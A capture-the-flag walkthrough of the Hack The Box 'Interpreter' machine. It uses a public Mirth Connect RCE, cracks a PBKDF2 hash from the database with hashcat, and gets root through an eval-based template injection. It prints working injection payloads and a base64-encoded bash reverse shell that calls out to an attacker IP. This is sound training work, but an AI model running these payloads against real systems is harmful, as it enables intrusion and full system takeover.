Skip to content

Hack The Box - Interpreter Walkthrough

Overview

Item Details
Platform Hack The Box
Machine Interpreter
Difficulty Medium
OS Linux
Created By ReziT
Release Date 21 February 2026
Pwn Date 28 February 2026

Machine Info


Interpreter is an medium difficulty machine. You can solve the machine through following the hints below.
- Find the version of Mirth Connect.
- Research about the available vulnerabilities, configuration details, and password hashing mechanisms.
- Get the password hash by accessing the DB with the credential got from configuration file.
- After cracking the hash, use SSH to access target machine.
- Identify the services running internally and find the program which uses the ports.
- Understand the program and exploit the SSTI vulnerability.
If you are getting stuck refer the writeup.


Enumeration

Lets start with enumerating ports and available services.
Nmap Scan

If you check the website hosted on port 80 you can see a page of Mirth Connect by NextGen Healthcare.
Webpage

If you click on the "Launch Mirth Connect Administrator", it will download a .jnlp file which contains the version information of Mirth connect.
Version identified

Initial Foothold

There is an RCE vulnerability found in this particular version of Mirth Connect. After some research I found an exploit for it.

Reference:
https://github.com/gotr00t0day/NextGen-Mirth-Connect-Exploit/tree/main

When I checked the secure http is only vulnerable. So if you target the website in port 80 it will show not vulnerable. And it will work if you target port 443.
Not vulnerable

Vulnerable version found

Now lets exploit the vulnerability. First start a netcat listener on any port and trigger the python exploit.
Exploit success

Got reverse shell as mirth

Capturing User Flag

We successfully got a shell as mirth. You can find the Mirth Connect configuration details in "/usr/local/mirthconnect/conf/mirth.properties".
Mirth Connect Configuration

Found DB Credentials

In the configuration file we found database related information.
- Database: mysql
- Used Database: mc_bdd_prod
- Username: mirthdb
- Password: MirthPass123!

Using this information, lets connect to the database and fetch the data.

Reference:
https://stackoverflow.com/questions/5131931/how-to-connect-to-mysql-from-the-command-line

mysql -u mirthdb -pMirthPass123! mc_bdd_prod
# Valid query for lising tables
show tables;

# Invalid query for triggering error
show table;

In this shell if you enter valid query it won't directly show the results. After entering a valid query you'll have to trigger an error. Then it will give the valid query's result.

Accessing DB

Got user password hash

Here we found the password hash of the user "sedric". If you check the home directory you can see that sedric is an user in the target system.
User confirmed

Now lets focus on the hash we got and lets identify the methods to crack it.

u/+LBBOUnadiyFBsMOoIDPLbUR0rk59kEkPU17itdrVWA/kLMt3w+w==
The hash we found here is Base64 encoded. To identify this hash we need to decode and convert it into Hex(bytes). You can use CyberChef for that.

Hash to bytes

Here we got a 40 bytes sized result. Now based on the size we can classify this hash into particular hashing algorithm.

Hashing Algorithm Output Sizes
MD5 16 bytes
SHA1 20 bytes
SHA256 32 bytes
SHA512 64 bytes

We got total of 40 bytes. So it can be considered as 8 bytes(salt) + 32 bytes(password).
You can divide this byte string and select the salt and value.
Salt from Hex to Base64

Password from Hex to Base64

Now you got the salt and value sections. If you research about Mirth connect, you can find it is using the hashing algorithm PBKDF2WithHmacSHA256 (32 bytes). And the iteration count is 600000. Based on all these information we can create a crackable hash file.

Reference:
https://docs.nextgen.com/en-US/mirthc2ae-connect-by-nextgen-healthcare-user-guide-3281761/default-digest-algorithm-in-mirthc2ae-connect-4-4-62159
https://www.meditecs.com/wp-content/uploads/mirth-connect-user-guide.pdf

sedric_hash.txt=> sha256:600000:u/+LBBOUnac=:YshQbDDqCAzy21EdK5OfZBJD1Ne4rXa1VgP5CzLd8Ps=
Target hash file

Now we can use hashcat for cracking the hash.

hashcat -m 10900 -a 0 sedric_hash.txt /usr/share/wordlists/rockyou.txt -w 3
Password hash cracked

We found the password of user "Sedric".

Sedric : snowflake1

Now use the credential and access the machine through SSH.
Shell as sedric

User Flag Captured!

Here we have successfully captured the user flag.

Capturing Root Flag

Now our aim is to escalate our privileges to root user. For that, as part of enumeration I listed all the processes/services running on the system.

Reference:
https://stackoverflow.com/questions/59615814/how-to-list-all-processes-services-running-on-different-ports

ss -nltp
Services running in localhost

There is some other processes running in the localhost. Lets check the open services in the machine.

ps -ef | grep -E "python|node|java|bash|sh|ruby|php"
Found the script

Here we found a python script running as root. Lets review the code to understand the working of it.

#!/usr/bin/env python3
"""
Notification server for added patients.
This server listens for XML messages containing patient information and writes formatted notifications to files in /var/secure-health/patients/.
It is designed to be run locally and only accepts requests with preformated data from MirthConnect running on the same machine.
It takes data interpreted from HL7 to XML by MirthConnect and formats it using a safe templating function.
"""
from flask import Flask, request, abort
import re
import uuid
from datetime import datetime
import xml.etree.ElementTree as ET, os

app = Flask(__name__)
USER_DIR = "/var/secure-health/patients/"; os.makedirs(USER_DIR, exist_ok=True)

def template(first, last, sender, ts, dob, gender):
    pattern = re.compile(r"^[a-zA-Z0-9._'\"(){}=+/]+$")
    for s in [first, last, sender, ts, dob, gender]:
        if not pattern.fullmatch(s):
            return "[INVALID_INPUT]"
    # DOB format is DD/MM/YYYY
    try:
        year_of_birth = int(dob.split('/')[-1])
        if year_of_birth < 1900 or year_of_birth > datetime.now().year:
            return "[INVALID_DOB]"
    except:
        return "[INVALID_DOB]"
    template = f"Patient {first} {last} ({gender}), {{datetime.now().year - year_of_birth}} years old, received from {sender} at {ts}"
    try:
        return eval(f"f'''{template}'''")
    except Exception as e:
        return f"[EVAL_ERROR] {e}"

@app.route("/addPatient", methods=["POST"])
def receive():
    if request.remote_addr != "127.0.0.1":
        abort(403)
    try:
        xml_text = request.data.decode()
        xml_root = ET.fromstring(xml_text)
    except ET.ParseError:
        return "XML ERROR\n", 400
    patient = xml_root if xml_root.tag=="patient" else xml_root.find("patient")
    if patient is None:
        return "No <patient> tag found\n", 400
    id = uuid.uuid4().hex
    data = {tag: (patient.findtext(tag) or "") for tag in ["firstname","lastname","sender_app","timestamp","birth_date","gender"]}
    notification = template(data["firstname"],data["lastname"],data["sender_app"],data["timestamp"],data["birth_date"],data["gender"])
    path = os.path.join(USER_DIR,f"{id}.txt")
    with open(path,"w") as f:
        f.write(notification+"\n")
    return notification

if __name__=="__main__":
    app.run("127.0.0.1",54321, threaded=True)

From this program we can collect some information.
- App is running on the port 54321.

app.run("127.0.0.1",54321, threaded=True)
- Connections from the machine itself only accepted.
if request.remote_addr != "127.0.0.1": abort(403)
- POST request /addPatient with XML Body
@app.route("/addPatient", methods=["POST"])
- The fields extracted from request
["firstname","lastname","sender_app","timestamp","birth_date","gender"]
- Result will be stored in,
USER_DIR = "/var/secure-health/patients/";
- Implemented input filtering regex
pattern = re.compile(r"^[a-zA-Z0-9._'\"(){}=+/]+$")
- The vulnerable components identified:
template = f"Patient {first} {last} ({gender}), {{datetime.now().year - year_of_birth}} years old, received from {sender} at {ts}"
try:
    return eval(f"f'''{template}'''")

You might have understood the vulnerability 😊. Yeah we are going to exploit an SSTI(Server-Side Template Injection) vulnerability.

Reference:
https://hacktricks.wiki/en/pentesting-web/ssti-server-side-template-injection/index.html

Normally we'll confirm SSTI vulnerability by passing {7*7}. But here we have to consider the input validation regex. Which prevents * character.

So here we are going to send a malicious XML payload in a POST request to http://127.0.0.1:54321/addPatient. First create a valid python request so we can confirm our request is working.
Working python script created

Now we can try command execution. Confirm if we are able to execute a command as root.

python3 -c "import urllib.request; data=b'''<?xml version=\"1.0\"?><patient><firstname>{__import__('os').popen('id').read()}</firstname><lastname>Doe</lastname><sender_app>app</sender_app><timestamp>20260227</timestamp><birth_date>01/01/1990</birth_date><gender>M</gender></patient>'''; req=urllib.request.Request('http://127.0.0.1:54321/addPatient', data=data, headers={'Content-Type':'application/xml'}, method='POST'); print(urllib.request.urlopen(req).read().decode())"

Payload executed as root

Here we have confirmed that our command executed as root user. Now we have to try and get a reverse shell. But we can't directly use the reverse shell payload here, as there is validation. To bypass this we can encode the payload use it.
Encoding the reverse shell payload

We can use the decode functionality of python to decode the string and trigger the reverse shell.

{__import__('os').system(__import__('base64').b64decode('BASE64STRING').decode())}

Now use this python code in our request and trigger the reverse shell.

python3 -c "import urllib.request; data=b'''<?xml version=\"1.0\"?><patient><firstname>{__import__('os').system(__import__('base64').b64decode('YmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNi4xODYvNDQ0NCAwPiYxJw==').decode())}</firstname><lastname>Doe</lastname><sender_app>app</sender_app><timestamp>20260227</timestamp><birth_date>01/01/1990</birth_date><gender>M</gender></patient>'''; req=urllib.request.Request('http://127.0.0.1:54321/addPatient', data=data, headers={'Content-Type':'application/xml'}, method='POST'); print(urllib.request.urlopen(req).read().decode())"
Payload executed as root

Root shell obtained

We got a shell as root. Now capture the root flag from /root/root.txt.
Root Flag Captured!

We successfully completed the Interpreter machine ✨.

Machine Pwned!

Thank you for refering this write-up!